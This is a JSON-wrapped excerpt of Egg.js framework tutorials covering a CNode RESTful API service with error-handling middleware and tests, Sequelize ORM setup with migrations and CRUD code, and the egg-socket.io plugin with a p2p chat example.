TopicService extends Service {\n  constructor(ctx) {\n    super(ctx);\n    this.root = 'https://cnodejs.org/api/v1';\n  }\n\n  async create(params) {\n    // call CNode V1 API\n    const result = await this.ctx.curl(`${this.root}/topics`, {\n      method: 'post',\n      data: params,\n      dataType: 'json',\n      contentType: 'json',\n    });\n    // check whether the call was successful, throws an exception if it fails\n    this.checkSuccess(result);\n    // return the id of topis\n    return result.data.topic_id;\n  }\n\n  // Encapsulated a uniform check function, can be reused in query, create, update and such on in service\n  checkSuccess(result) {\n    if (result.status !== 200) {\n      const errorMsg =\n        result.data && result.data.error_msg\n          ? result.data.error_msg\n          : 'unknown error';\n      this.ctx.throw(result.status, errorMsg);\n    }\n    if (!result.data.success) {\n      // remote response error\n      this.ctx.throw(500, 'remote response error', { data: result.data });\n    }\n  }\n}\n\nmodule.exports = TopicService;\n```\n\nAfter developing the Service of topic creation, an interface have been completed from top to bottom.\n\n### Unified Error Handling\n\nNormal business logic has been completed, but exceptions have not yet been processed. Controller and Service may throw an exception as the previous coding, so it is recommended that throwing an exception to interrupt if passing invalided parameters from the client or calling the back-end service with exception.\n\n- use Controller `this.ctx.validate()` to validate the parameters, throw exception if it fails.\n- call Service `this.ctx.curl()` to access CNode API, may throw server exception due to network problems.\n- an exception also will be thrown after Service is getting the response of calling failure from CNode API.\n\nDefault error handling is provided but might be inconsistent as the interface convention previously. We need to implement a unified error-handling middleware to handle the errors.\n\nCreate a file `error_handler.js` under `app/middleware` directory to create a new [middleware](../basics/middleware.md)\n\n```js\n// app/middleware/error_handler.js\nmodule.exports = () => {\n  return async function errorHandler(ctx, next) {\n    try {\n      await next();\n    } catch (err) {\n      // All exceptions will trigger an error event on the app and the error log will be recorded\n      ctx.app.emit('error', err, ctx);\n\n      const status = err.status || 500;\n      // error 500 not returning to client when in the production environment because it may contain sensitive information\n      const error =\n        status === 500 && ctx.app.config.env === 'prod'\n          ? 'Internal Server Error'\n          : err.message;\n\n      // Reading from the properties of error object and set it to the response\n      ctx.body = { error };\n      if (status === 422) {\n        ctx.body.detail = err.errors;\n      }\n      ctx.status = status;\n    }\n  };\n};\n```\n\nWe can catch all exceptions and follow the expected format to encapsulate the response through the middleware. It can be loaded into application using configuration file (`config/config.default.js`)\n\n```js\n// config/config.default.js\nmodule.exports = {\n  // load the errorHandler middleware\n  middleware: ['errorHandler'],\n  // only takes effect on URL prefix with '/api'\n  errorHandler: {\n    match: '/api',\n  },\n};\n```\n\n## Testing\n\nCompleting the coding just the first step, furthermore we need to add [Unit Test](../core/unittest.md) to the code.\n\n### Controller Testing\n\nLet's start writing the unit test for the Controller. We can simulate the implementation of the Service layer in an appropriate way because the most important part is to test the logic as for Controller. And mocking up the Service layer according the convention of interface, so we can develop layered testing because the Service layer itself can also covered by Service unit test.\n\n```js\nconst { app, mock, assert } = require('egg-mock/bootstrap');\n\ndescribe('test/app/controller/topics.test.js', () => {\n  // test the response of passing the error parameters\n  it('should POST /api/v2/topics/ 422', () => {\n    app.mockCsrf();\n    return app\n      .httpRequest()\n      .post('/api/v2/topics')\n      .send({\n        accesstoken: '123',\n      })\n      .expect(422)\n      .expect({\n        error: 'Validation Failed',\n        detail: [\n          { message: 'required', field: 'title', code: 'missing_field' },\n          { message: 'required', field: 'content', code: 'missing_field' },\n        ],\n      });\n  });\n\n  // mock up the service layer and test the response of normal request\n  it('should POST /api/v2/topics/ 201', () => {\n    app.mockCsrf();\n    app.mockService('topics', 'create', 123);\n    return app\n      .httpRequest()\n      .post('/api/v2/topics')\n      .send({\n        accesstoken: '123',\n        title: 'title',\n        content: 'hello',\n      })\n      .expect(201)\n      .expect({\n        topic_id: 123,\n      });\n  });\n});\n```\n\nAs the Controller testing above, we create an application using [egg-mock](https://github.com/eggjs/egg-mock) and simulate the client to send request through [SuperTest](https://github.com/visionmedia/supertest). In the testing, we also simulate the response from Service layer to test the processing logic of Controller layer\n\n### Service Testing\n\nUnit Test of Service layer may focus on the coding logic. [egg-mock](https://github.com/eggjs/egg-mock) provides a quick method to test the Service by calling the test method in the Service, and SuperTest to simulate the client request is no longer needed.\n\n```js\nconst { app, mock, assert } = require('egg-mock/bootstrap');\n\ndescribe('test/app/service/topics.test.js', () => {\n  let ctx;\n\n  beforeEach(() => {\n    // create a global context object so that can call the service function on a ctx object\n    ctx = app.mockContext();\n  });\n\n  describe('create()', () => {\n    it('should create failed by accesstoken error', async () => {\n      try {\n        // calling service method on ctx directly\n        await ctx.service.topics.create({\n          accesstoken: 'hello',\n          title: 'title',\n          content: 'content',\n        });\n      } catch (err) {\n        assert(err.status === 401);\n        assert(err.message === 'error accessToken');\n      }\n      throw 'should not run here';\n    });\n\n    it('should create success', async () => {\n      // not affect the normal operation of CNode by simulating the interface calling of CNode based on interface convention\n      // app.mockHttpclient method can easily simulate the appliation's HTTP request\n      app.mockHttpclient(`${ctx.service.topics.root}/topics`, 'POST', {\n        data: {\n          success: true,\n          topic_id: '5433d5e4e737cbe96dcef312',\n        },\n      });\n\n      const id = await ctx.service.topics.create({\n        accesstoken: 'hello',\n        title: 'title',\n        content: 'content',\n      });\n      assert(id === '5433d5e4e737cbe96dcef312');\n    });\n  });\n});\n```\n\nIn the testing of Service layer above, we create a Context object using the `app.createContext()` which provided by egg-mock and call the Service method on Context object to test directly. It can use `app.mockHttpclient()` to simulate the response of calling HTTP request, which allows us to focus on the logic testing of Service layer without the impact of environment.\n\n---\n\nSee the full example at [eggjs/examples/cnode-api](https://github.com/eggjs/examples/tree/master/cnode-api).\n"
  },
  {
    "path": "site/docs/tutorials/sequelize.md",
    "content": "---\ntitle: Sequelize\n---\n\n[In the previous section](./mysql.md), we showed how to access the database through the [egg-mysql] plugin in the framework. In some more complex applications, we may need an ORM framework to help us manage the data layer code. In the Node.js community, [sequelize] is a widely used ORM framework that supports multiple data sources such as MySQL, PostgreSQL, SQLite, and MSSQL.\n\nIn this chapter, we will walk through the steps of how to use sequelize in an egg project by developing an example of doing CURD on the data in the `users` table in MySQL.\n\n## Preparing\n\nIn this example, we will use sequelize to connect to the MySQL data source, so we need to install MySQL on the machine before we start writing code. If it is MacOS, we can quickly install it via homebrew:\n\n```bash\nbrew install mysql\nbrew services start mysql\n```\n\n## Initialization\n\nInit project by `npm`:\n\n```bash\n$ mkdir sequelize-project && cd sequelize-project\n$ npm init egg --type=simple\n$ npm i\n```\n\nInstall and configure the [egg-sequelize] plugin (which will help us load the defined Model object onto `app` and `ctx` ) and the [mysql2] module:\n\n- Install\n\n```bash\nnpm install --save egg-sequelize mysql2\n```\n\n- Import egg-sequelize in `config/plugin.js`\n\n```js\nexports.sequelize = {\n  enable: true,\n  package: 'egg-sequelize',\n};\n```\n\n- Write the sequelize configuration in `config/config.default.js`\n\n```js\nexports.sequelize = {\n  dialect: 'mysql',\n  host: '127.0.0.1',\n  port: 3306,\n  database: 'egg-sequelize-doc-default',\n};\n```\n\nWe can configure different data source addresses in different environment configurations to distinguish the databases used by different environments. For example, we can create a new `config/config.unittest.js` configuration file and write the following configuration. The connected database points to `egg-sequelize-doc-unittest`.\n\n```js\nexports.sequelize = {\n  dialect: 'mysql',\n  host: '127.0.0.1',\n  port: 3306,\n  database: 'egg-sequelize-doc-unittest',\n};\n```\n\nAfter completing the above configuration, a project using sequelize is initialized. [egg-sequelize] and [sequelize] also support more configuration items, which can be found in their documentation.\n\n## Database and Migrations Initialization\n\nNext, let's temporarily leave the code of the egg project, design and initialize our database. First, we quickly create two databases for development and testing locally using the mysql command:\n\n```bash\nmysql -u root -e 'CREATE DATABASE IF NOT EXISTS `egg-sequelize-doc-default`;'\nmysql -u root -e 'CREATE DATABASE IF NOT EXISTS `egg-sequelize-doc-unittest`;'\n```\n\nThen we started designing the `users` table, which has the following data structure:\n\n```sql\nCREATE TABLE `users` (\n  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT 'primary key',\n  `name` varchar(30) DEFAULT NULL COMMENT 'user name',\n  `age` int(11) DEFAULT NULL COMMENT 'user age',\n  `created_at` datetime DEFAULT NULL COMMENT 'created time',\n  `updated_at` datetime DEFAULT NULL COMMENT 'updated time',\n  PRIMARY KEY (`id`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='user';\n```\n\nWe can build the table directly through the mysql command, but this is not a good practice for multiplayer collaboration. During the evolution of the project, each iteration is possible to make changes to the database data structure, how to track the data changes of each iteration, and quickly change the data structure in different environments (development, testing, CI) and switch bettween iterative? At this point we need [Migrations] to help us manage the changes in the data structure.\n\nSequelize provides the [sequelize-cli] tool to implement [Migrations], and we can also introduce sequelize-cli in the egg project.\n\n- Install `sequelize-cli`\n\n```bash\nnpm install --save-dev sequelize-cli\n```\n\nIn the egg project, we want to put all the database Migrations related content in the `database` directory, so we create a new `.sequelizerc` configuration file in the project root directory:\n\n```js\n'use strict';\n\nconst path = require('path');\n\nmodule.exports = {\n  config: path.join(__dirname, 'database/config.json'),\n  'migrations-path': path.join(__dirname, 'database/migrations'),\n  'seeders-path': path.join(__dirname, 'database/seeders'),\n  'models-path': path.join(__dirname, 'app/model'),\n};\n```\n\n- Init Migrations Configuration Files and Directories\n\n```bash\nnpx sequelize init:config\nnpx sequelize init:migrations\n```\n\nAfter the execution, the `database/config.json` file and the `database/migrations` directory will be generated. We will modify the contents of `database/config.json`. It was changed to the database configuration used in our project:\n\n```\n{\n  \"development\": {\n    \"username\": \"root\",\n    \"password\": null,\n    \"database\": \"egg-sequelize-doc-default\",\n    \"host\": \"127.0.0.1\",\n    \"dialect\": \"mysql\"\n  },\n  \"test\": {\n    \"username\": \"root\",\n    \"password\": null,\n    \"database\": \"egg-sequelize-doc-unittest\",\n    \"host\": \"127.0.0.1\",\n    \"dialect\": \"mysql\"\n  }\n}\n```\n\nAt this point sequelize-cli and related configuration are also initialized, we can start writing the project's first Migration file to create one of our `users` table.\n\n```bash\nnpx sequelize migration:generate --name=init-users\n```\n\nAfter execution, a migration file (`${timestamp}-init-users.js`) is generated in the `database/migrations` directory. We modify it to handle initializing the `users` table:\n\n```js\n'use strict';\n\nmodule.exports = {\n  // The function called when performing a database upgrade, create a `users` table\n  up: async (queryInterface, Sequelize) => {\n    const { INTEGER, DATE, STRING } = Sequelize;\n    await queryInterface.createTable('users', {\n      id: { type: INTEGER, primaryKey: true, autoIncrement: true },\n      name: STRING(30),\n      age: INTEGER,\n      created_at: DATE,\n      updated_at: DATE,\n    });\n  },\n  // The function called when performing a database downgrade, delete the `users` table\n  down: async (queryInterface) => {\n    await queryInterface.dropTable('users');\n  },\n};\n```\n\n- Execute migrate for database changes\n\n```bash\n# upgrade database\nnpx sequelize db:migrate\n# if there is a problem that needs to be rolled back, you can roll back a change via `db:migrate:undo`\n# npx sequelize db:migrate:undo\n# can be rolled back to the initial state via `db:migrate:undo:all`\n# npx sequelize db:migrate:undo:all\n```\n\nAfter execution, our database initialization is complete.\n\n## Coding\n\nFinally we can start writing code to implement business logic. First, let's write the user model in the `app/model/` directory:\n\n```js\n'use strict';\n\nmodule.exports = (app) => {\n  const { STRING, INTEGER, DATE } = app.Sequelize;\n\n  const User = app.model.define('user', {\n    id: { type: INTEGER, primaryKey: true, autoIncrement: true },\n    name: STRING(30),\n    age: INTEGER,\n    created_at: DATE,\n    updated_at: DATE,\n  });\n\n  return User;\n};\n```\n\nThis model can be accessed in the Controller and Service via `app.model.User` or `ctx.model.User`, for example we write `app/controller/users.js`:\n\n```js\n// app/controller/users.js\nconst Controller = require('egg').Controller;\n\nfunction toInt(str) {\n  if (typeof str === 'number') return str;\n  if (!str) return str;\n  return parseInt(str, 10) || 0;\n}\n\nclass UserController extends Controller {\n  async index() {\n    const ctx = this.ctx;\n    const query = {\n      limit: toInt(ctx.query.limit),\n      offset: toInt(ctx.query.offset),\n    };\n    ctx.body = await ctx.model.User.findAll(query);\n  }\n\n  async show() {\n    const ctx = this.ctx;\n    ctx.body = await ctx.model.User.findByPk(toInt(ctx.params.id));\n  }\n\n  async create() {\n    const ctx = this.ctx;\n    const { name, age } = ctx.request.body;\n    const user = await ctx.model.User.create({ name, age });\n    ctx.status = 201;\n    ctx.body = user;\n  }\n\n  async update() {\n    const ctx = this.ctx;\n    const id = toInt(ctx.params.id);\n    const user = await ctx.model.User.findByPk(id);\n    if (!user) {\n      ctx.status = 404;\n      return;\n    }\n\n    const { name, age } = ctx.request.body;\n    await user.update({ name, age });\n    ctx.body = user;\n  }\n\n  async destroy() {\n    const ctx = this.ctx;\n    const id = toInt(ctx.params.id);\n    const user = await ctx.model.User.findByPk(id);\n    if (!user) {\n      ctx.status = 404;\n      return;\n    }\n\n    await user.destroy();\n    ctx.status = 200;\n  }\n}\n\nmodule.exports = UserController;\n```\n\nFinally we will mount this controller on the route:\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  const { router, controller } = app;\n  router.resources('users', '/users', controller.users);\n};\n```\n\nThe interface for the CURD operation of the `users` table is developed. To verify that the code logic is correct, we need to write some testcases to verify.\n\n## Unit Test\n\nBefore writing the test, because in the previous egg configuration, we pointed the unit test environment and development environment to different databases, so we need to initialize the data structure of the test database through Migrations:\n\n```bash\nNODE_ENV=test npx sequelize db:migrate:up\n```\n\nUnit tests with database access are particularly cumbersome to write directly, We need to create a series of data to prepare the test data is a very cumbersome process. To simplify single testing, we can quickly create test data with the [factory-girl] module.\n\n- Install `factory-girl`\n\n```bash\nnpm install --save-dev factory-girl\n```\n\n- Define the data model of factory-girl into `test/factories.js`\n\n```js\n// test/factories.js\n'use strict';\n\nconst { factory } = require('factory-girl');\n\nmodule.exports = (app) => {\n  // Factory instance can be accessed via app.factory\n  app.factory = factory;\n\n  // Define user and default data\n  factory.define('user', app.model.User, {\n    name: factory.sequence('User.name', (n) => `name_${n}`),\n    age: 18,\n  });\n};\n```\n\n- Initialize the file `test/.setup.js`, introduce the factory, and ensure that the data is cleaned after the test is executed to avoid being affected.\n\n```js\nconst { app } = require('egg-mock/bootstrap');\nconst factories = require('./factories');\n\nbefore(() => factories(app));\nafterEach(async () => {\n  // clear database after each test case\n  await Promise.all([app.model.User.destroy({ truncate: true, force: true })]);\n});\n```\n\nThen we can start writing real test cases:\n\n```js\n// test/app/controller/users.test.js\nconst { assert, app } = require('egg-mock/bootstrap');\n\ndescribe('test/app/controller/users.test.js', () => {\n  describe('GET /users', () => {\n    it('should work', async () => {\n      // Quickly create some users object into the database via factory-girl\n      await app.factory.createMany('user', 3);\n      const res = await app.httpRequest().get('/users?limit=2');\n      assert(res.status === 200);\n      assert(res.body.length === 2);\n      assert(res.body[0].name);\n      assert(res.body[0].age);\n    });\n  });\n\n  describe('GET /users/:id', () => {\n    it('should work', async () => {\n      const user = await app.factory.create('user');\n      const res = await app.httpRequest().get(`/users/${user.id}`);\n      assert(res.status === 200);\n      assert(res.body.age === user.age);\n    });\n  });\n\n  describe('POST /users', () => {\n    it('should work', async () => {\n      app.mockCsrf();\n      let res = await app.httpRequest().post('/users').send({\n        age: 10,\n        name: 'name',\n      });\n      assert(res.status === 201);\n      assert(res.body.id);\n\n      res = await app.httpRequest().get(`/users/${res.body.id}`);\n      assert(res.status === 200);\n      assert(res.body.name === 'name');\n    });\n  });\n\n  describe('DELETE /users/:id', () => {\n    it('should work', async () => {\n      const user = await app.factory.create('user');\n\n      app.mockCsrf();\n      const res = await app.httpRequest().delete(`/users/${user.id}`);\n      assert(res.status === 200);\n    });\n  });\n});\n```\n\nFinally, if we need to run unit tests in the CI, we need to ensure that we perform a migration to ensure data structure updates before executing the test code. For example, we declare `scripts.ci` in `package.json` to execute the unit test in the CI environment:\n\n```js\n{\n  \"scripts\": {\n    \"ci\": \"eslint . && NODE_ENV=test npx sequelize db:migrate && egg-bin cov\"\n  }\n}\n```\n\n## Full Example\n\nA more complete example can be found in [eggjs/examples/sequelize].\n\n## Boilerplate\n\nWe also provide sequelize boilerplate that integrates the modules [egg-sequelize], [sequelize-cli] and [factory-girl] provided in this documentation. You can quickly initialize a new application based on it by `npm init egg --type=sequelize`.\n\n[mysql2]: https://github.com/sidorares/node-mysql2\n[sequelize]: http://docs.sequelizejs.com/\n[sequelize-cli]: https://github.com/sequelize/cli\n[egg-sequelize]: https://github.com/eggjs/egg-sequelize\n[migrations]: http://docs.sequelizejs.com/manual/tutorial/migrations.html\n[factory-girl]: https://github.com/aexmachina/factory-girl\n[eggjs/examples/sequelize]: https://github.com/eggjs/examples/tree/master/sequelize\n[egg-mysql]: https://github.com/eggjs/egg-mysql\n"
  },
  {
    "path": "site/docs/tutorials/socketio.md",
    "content": "---\ntitle: Socket.IO\n---\n\n**Socket.IO** is a real-time application framework based on Node.js, which has a wide range of applications including instant messaging, notification and message push, real-time analysis and other scenarios.\n\nWebSocket originated from the growing demand for real-time communication in web development, compared with http-based polling, which greatly saves network bandwidth and reduces server performance consumption. [Socket.IO] supports both websockets and polling. The data transmission method is compatible with the browser and does not support the communication requirements under the WebSocket scenario.\n\nThe framework provides the [egg-socket.io] plugin with the following development rules added:\n\n- namespace: define the namespace by means of configuration\n   - middleware: establish / disconnect every socket connection, preprocess every message / data transfer\n   - controller: response socket.io event\n   - router: unify the processing configuration of socket.io event and frame routing\n\n## install egg-socket.io\n\n### Installation\n\n```bash\n$ npm i egg-socket.io --save\n```\n\n**Enable the plugin:**\n\n```js\n// {app_root} /config/plugin.js\nexports.io = {\n  enable: true,\n  package: 'egg-socket.io',\n};\n```\n\n### Configuration\n\n```js\n// {app_root} / config / config. $ {env} .js\nexports.io = {\n  init: {}, // passed to engine.io\n  namespace: {\n    '/': {\n      connectionMiddleware: [],\n      packetMiddleware: [],\n    },\n    '/ example': {\n      connectionMiddleware: [],\n      packetMiddleware: [],\n    },\n  },\n};\n```\n\n> Namespaces are `/` and `/ example`, not`example`\n\n#### `uws`\n\n**Egg's socket is using `ws`, [uws](https://www.npmjs.com/package/uws) is deprecated due to [some reasons](https://github.com/socketio/socket.io/issues/3319).**\nIf you insist using [uws](https://www.npmjs.com/package/uws) instead of the default `ws`, you can config like this:\n\n```js\n// {app_root} / config / config. $ {env} .js\nexports.io = {\n  init: { wsEngine: 'uws' }, // default: ws\n};\n```\n\n#### `redis`\n\n[egg-socket.io] has built-in redis support via `socket.io-redis`. In cluster mode, the use of redis can make it relatively simple to achieve information sharing of clients/rooms and so on\n\n```js\n// {app_root} / config / config. $ {env} .js\nexports.io = {\n  redis: {\n    host: {redis server host}\n    port: {redis server port},\n    auth_pass: {redis server password},\n    db: 0,\n  },\n};\n```\n\n> When `redis` is turned on, the program tries to connect to the redis server at startup\n> Here `redis` is only used to store connection instance information, see [# server.adapter](https://socket.io/docs/server-api/#server-adapter-value)\n\n**Note:**\nIf the project also uses the `@eggjs/redis`, please configure it separately. Do not share it.\n\n### Deployment\n\nIf the framework is started in cluster mode, the socket.io protocol implementation needs sticky feature support, otherwise it will not work in multi-process mode.\n\nDue to the design of socket.io, a multi-process server must be in the sticky working mode. As a result, you need the need to pass parameter `--sticky` when starting the cluster.\n\nModify the `npm scripts` script in`package.json`:\n\n```js\n{\n  \"scripts\": {\n    \"dev\": \"egg-bin dev --sticky\",\n    \"start\": \"egg-scripts start --sticky\"\n  }\n}\n```\n\n**Nginx configuration**\n\n```\nlocation / {\n  proxy_set_header Upgrade $ http_upgrade;\n  proxy_set_header Connection \"upgrade\";\n  proxy_set_header X-Forwarded-For $ proxy_add_x_forwarded_for;\n  proxy_set_header Host $ host;\n  proxy_pass http://127.0.0.1:7001;\n}\n```\n\n## Using `egg-socket.io`\n\nThe directory structure of project which has enabled the [egg-socket.io] is as follows:\n\n```\nchat\n├── app\n│ ├── extend\n│ │ └── helper.js\n│ ├── io\n│ │ ├── controller\n│ │ │ └── default.js\n│ │ └── middleware\n│ │ ├── connection.js\n│ │ └── packet.js\n│ └── router.js\n├── config\n└── package.json\n```\n\n> Note: The corresponding files are in the app / io directory\n\n### Middleware\n\nMiddleware has the following two scenarios:\n\n- Connection\n- Packet\n\nIt is configured in each namespace, respectively, according to the scenarios given above.\n\n**Note:**\n\nIf we enable the framework middleware, you will find the following directory in the project:\n\n- `app / middleware`: framework middleware\n- `app / io / middleware`: plugin middleware\n\nthe difference:\n\n- Framework middleware is based on http model design to handle http requests.\n- Plugin middleware based socket model design, processing socket.io request.\n\nAlthough the framework tries to unify the style through plugins, it is important to note that their usage scenarios are different. For details, please see: [# 1416](https://github.com/eggjs/egg/issues/1416)\n\n#### Connection\n\nFires when each client connects or quits. Therefore, we usually perform authorization authentication at this step, and deal with the failed clients.\n\n```js\n// {app_root} /app/io/middleware/connection.js\nmodule.exports = (app) => {\n  return async (ctx, next) => {\n    ctx.socket.emit('res', 'connected!');\n    await next(); // execute when disconnect.\n    console.log('disconnection!');\n  };\n};\n```\n\nKick out the user example:\n\n```js\nconst tick = (id, msg) => {\n  logger.debug('# tick', id, msg);\n  socket.emit(id, msg);\n  app.io.of('/').adapter.remoteDisconnect(id, true, (err) => {\n    logger.error(err);\n  });\n};\n```\n\nAt the same time, the current connection can also be simple to deal with:\n\n```js\n// {app_root} /app/io/middleware/connection.js\nmodule.exports = (app) => {\n  return async (ctx, next) => {\n    if (true) {\n      ctx.socket.disconnect();\n      return;\n    }\n    await next();\n    console.log('disconnection!');\n  };\n};\n```\n\n#### Packet\n\nActs on each data packet (each message). In the production environment, it is usually used to preprocess messages, or it is used to decrypt encrypted messages.\n\n```js\n// {app_root} /app/io/middleware/packet.js\nmodule.exports = (app) => {\n  return async (ctx, next) => {\n    ctx.socket.emit('res', 'packet received!');\n    console.log('packet:', ctx.packet);\n    await next();\n  };\n};\n```\n\n### Controller\n\nA controller deals with the events sent by the client. Since it inherits the `egg.controller`, it has the following member objects:\n\n- ctx\n- app\n- service\n- config\n- logger\n\n> For details, refer to the [Controller] (../ basics / controller.md) documentation\n\n```js\n// {app_root} /app/io/controller/default.js\n'use strict';\n\nconst Controller = require('egg').Controller;\n\nclass DefaultController extends Controller {\n  async ping() {\n    const { ctx, app } = this;\n    const message = ctx.args[0];\n    await ctx.socket.emit('res', `Hi! I've got your message: $ {message}`);\n  }\n}\n\nmodule.exports = DefaultController;\n\n// or async functions\n\nexports.ping = async function () {\n  const message = this.args[0];\n  await this.socket.emit('res', `Hi! I've got your message: $ {message}`);\n};\n```\n\n### Router\n\nRouting is responsible for passing various events received by the socket to the corresponding controllers.\n\n```js\n// {app_root} /app/router.js\n\nmodule.exports = (app) => {\n  const { router, controller, io } = app; // default\n  router.get('/', controller.home.index); // socket.io\n  io.of('/').route('server', io.controller.home.server);\n};\n```\n\n**Note:**\n\nNsp has the following system events:\n\n- `disconnecting` doing the disconnect\n- `disconnect` connection has disconnected.\n- `error` Error occurred\n\n### Namespace/Room\n\n#### Namespace (nsp)\n\nThe namespace is usually meant to be assigned to different access points or paths. If the client does not specify a nsp, it is assigned to \"/\" by default.\n\nIn socket.io we use the `of` to divide the namespace; given that nsp is usually pre-defined and relatively fixed, the framework encapsulates it and uses configuration to partition different namespaces.\n\n```js\n// socket.io\nvar nsp = io.of('/my-namespace');\nnsp.on('connection', function (socket) {\n  console.log('someone connected');\n});\nnsp.emit('hi', 'everyone!');\n\n// egg\nexports.io = {\n  namespace: {\n    '/': {\n      connectionMiddleware: [],\n      packetMiddleware: [],\n    },\n  },\n};\n```\n\n#### Room\n\nRoom exists in nsp and is added or left by the join/leave method; the method used in the framework is the same;\n\n```js\nConst room = 'default_room';\n\nModule.exports = app => {\n   return async (ctx, next) => {\n     ctx.socket.join(room);\n     ctx.app.io.of('/').to(room).emit('online', { msg: 'welcome', id: ctx.socket.id });\n     await next();\n     console.log('disconnection!');\n   };\n};\n```\n\n**Note:** Each socket connection will have a random and unpredictable unique id `Socket#id` and will automatically be added to the room named after this `id`\n\n## Examples\n\nHere we use [egg-socket.io] to do a small example which supports p2p chat\n\n### Client\n\nThe UI-related content is not rewritten. It can be called via window.socket\n\n```js\n// browser\nconst log = console.log;\n\nwindow.onload = function () {\n  // init\n  const socket = io('/', {\n    // Actual use can pass parameters here\n    query: {\n      room: 'demo',\n      userId: `client_${Math.random()}`,\n    },\n\n    transports: ['websocket'],\n  });\n\n  socket.on('connect', () => {\n    const id = socket.id;\n\n    log('#connect,', id, socket); // receive online user information\n\n    // listen for its own id to implement p2p communication\n    socket.on(id, (msg) => {\n      log('#receive,', msg);\n    });\n  });\n\n  socket.on('online', (msg) => {\n    log('#online,', msg);\n  });\n\n  // system events\n  socket.on('disconnect', (msg) => {\n    log('#disconnect', msg);\n  });\n\n  socket.on('disconnecting', () => {\n    log('#disconnecting');\n  });\n\n  socket.on('error', () => {\n    log('#error');\n  });\n\n  window.socket = socket;\n};\n```\n\n#### WeChat Applets\n\nThe API provided by the WeChat applet is WebSocket, and socket.io is the upper encapsulation of Websocket. Therefore, we cannot directly use the API connection of the applet. You can use something like [wxapp-socket-io] (https://github.com/wxsocketio /wxapp-socket-io) to adapt to the library.\n\nThe sample code is as follows:\n\n```js\n// Small program-side sample code\nimport io from 'vendor/wxapp-socket-io.js';\n\nconst socket = io('ws://127.0.0.1:7001');\nsocket.on('connect', function () {\n  socket.emit('chat', 'hello world!');\n});\nsocket.on('res', (msg) => {\n  console.log('res from server: %s!', msg);\n});\n```\n\n### Server\n\nThe following is part of the demo code and explains the role of each method:\n\n#### Config\n\n```js\n// {app_root}/config/config.${env}.js\nexports.io = {\n  namespace: {\n    '/': {\n      connectionMiddleware: ['auth'],\n      packetMiddleware: [], // processing for message is not implemented temporarily\n    },\n  }, // Data sharing through redis in cluster mode\n\n  redis: {\n    host: '127.0.0.1',\n    port: 6379,\n  },\n};\n```\n\n#### Helper\n\nFramework extensions for encapsulating data formats\n\n```js\n// {app_root}/app/extend/helper.js\n\nmodule.exports = {\n  parseMsg(action, payload = {}, metadata = {}) {\n    const meta = Object.assign(\n      {},\n      {\n        timestamp: Date.now(),\n      },\n      metadata,\n    );\n\n    return {\n      data: {\n        action,\n        payload,\n      },\n      meta,\n    };\n  },\n};\n```\n\nFormat：\n\n```js\n{\n  data: {\n    action: 'exchange',  // 'deny' || 'exchange' || 'broadcast'\n    payload: {},\n  },\n  meta:{\n    timestamp: 1512116201597,\n    client: '/webrtc#nNx88r1c5WuHf9XuAAAB',\n    target: '/webrtc#nNx88r1c5WuHf9XuAAAB'\n  },\n}\n```\n\n#### Middleware\n\n[egg-socket.io] middleware handles socket connection handling\n\n```js\n// {app_root}/app/io/middleware/auth.js\n\nconst PREFIX = 'room';\n\nmodule.exports = () => {\n  return async (ctx, next) => {\n    const { app, socket, logger, helper } = ctx;\n    const id = socket.id;\n    const nsp = app.io.of('/');\n    const query = socket.handshake.query; // User Info\n\n    const { room, userId } = query;\n    const rooms = [room];\n\n    logger.debug('#user_info', id, room, userId);\n\n    const tick = (id, msg) => {\n      logger.debug('#tick', id, msg); // Send message before kicking user\n\n      socket.emit(id, helper.parseMsg('deny', msg)); // Call the adapter method to kick out the user and the client triggers the disconnect event\n\n      nsp.adapter.remoteDisconnect(id, true, (err) => {\n        logger.error(err);\n      });\n    }; // Check if the room exists, kick it out if it doesn't exist // Note: here app.redis has nothing to do with the plugin, it can be replaced by other storage\n\n    const hasRoom = await app.redis.get(`${PREFIX}:${room}`);\n\n    logger.debug('#has_exist', hasRoom);\n\n    if (!hasRoom) {\n      tick(id, {\n        type: 'deleted',\n        message: 'deleted, room has been deleted.',\n      });\n      return;\n    } // When the user joins\n\n    nsp.adapter.clients(rooms, (err, clients) => {\n      // Append current socket information to clients\n      clients[id] = query; // Join room\n\n      socket.join(room);\n\n      logger.debug('#online_join', _clients); // Update online user list\n\n      nsp.to(room).emit('online', {\n        clients,\n        action: 'join',\n        target: 'participator',\n        message: `User(${id}) joined.`,\n      });\n    });\n\n    await next(); // When the user leaves\n\n    nsp.adapter.clients(rooms, (err, clients) => {\n      logger.debug('#leave', room);\n\n      const _clients = {};\n      clients.forEach((client) => {\n        const _id = client.split('#')[1];\n        const _client = app.io.sockets.sockets[_id];\n        const _query = _client.handshake.query;\n        _clients[client] = _query;\n      });\n\n      logger.debug('#online_leave', _clients); // Update online user list\n\n      nsp.to(room).emit('online', {\n        clients: _clients,\n        action: 'leave',\n        target: 'participator',\n        message: `User(${id}) leaved.`,\n      });\n    });\n  };\n};\n```\n\n#### Controller\n\nData exchange of P2P communication is through exchange\n\n```js\n// {app_root}/app/io/controller/nsp.js\nconst Controller = require('egg').Controller;\n\nclass NspController extends controller {\n  async exchange() {\n    const { ctx, app } = this;\n    const nsp = app.io.of('/');\n    const message = ctx.args[0] || {};\n    const socket = ctx.socket;\n    const client = socket.id;\n\n    try {\n      const { target, payload } = message;\n      if (!target) return;\n      const msg = ctx.helper.parseMsg('exchange', payload, { client, target });\n      nsp.emit(target, msg);\n    } catch (error) {\n      app.logger.error(error);\n    }\n  }\n}\n\nmodule.exports = NspController;\n```\n\n#### Router\n\n```js\n// {app_root}/app/router.js\nmodule.exports = (app) => {\n  const { router, controller, io } = app;\n  router.get('/', controller.home.index); // socket.io\n\n  io.of('/').route('exchange', io.controller.nsp.exchange);\n};\n```\n\nOpen two tab pages and call up the console:\n\n```js\nsocket.emit('exchange', {\n  target: '/webrtc#Dkn3UXSu8_jHvKBmAAHW',\n  payload: {\n    msg: 'test',\n  },\n});\n```\n\n![](https://raw.githubusercontent.com/eggjs/egg/master/docs/assets/socketio-console.png)\n\n## Reference Links\n\n- [socket.io]\n- [egg-socket.io]\n- [egg-socket.io example](https://github.com/eggjs/egg-socket.io/tree/master/example)\n\n[socket.io]: https://socket.io\n[egg-socket.io]: https://github.com/eggjs/egg-socket.io\n[uws]: https://github.com/uWebSockets/uWebSockets\n"
  },
  {
    "path": "site/docs/tutorials/typescript.md",
